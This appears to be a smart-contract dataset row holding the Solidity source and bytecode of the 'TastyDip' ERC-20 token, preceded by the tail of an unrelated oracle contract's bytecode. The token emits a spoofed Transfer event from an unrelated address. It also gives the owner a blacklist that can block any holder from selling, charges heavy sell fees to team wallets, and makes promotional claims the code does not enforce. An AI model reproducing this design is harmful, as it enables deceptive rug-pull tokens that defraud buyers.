90829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000ae461ca67b15dc8dc81ce7615e0320da1a9ab8d56001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f00000000000000000000000000000000000000000000000000000000000f424061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,650
0x4808da24bf8906ff692841e847d77d59a1dbe3ff
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ // $TastyDip // Telegram: https://t.me/TastyDip // Introducing the only coin on the blockchain that is designed to go up. // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed // :P So tasty :P pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TastyDip is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "TastyDip"; string private constant _symbol = unicode'TastyDip 👅'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600881526020017f5461737479446970000000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f546173747944697020f09f918500000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008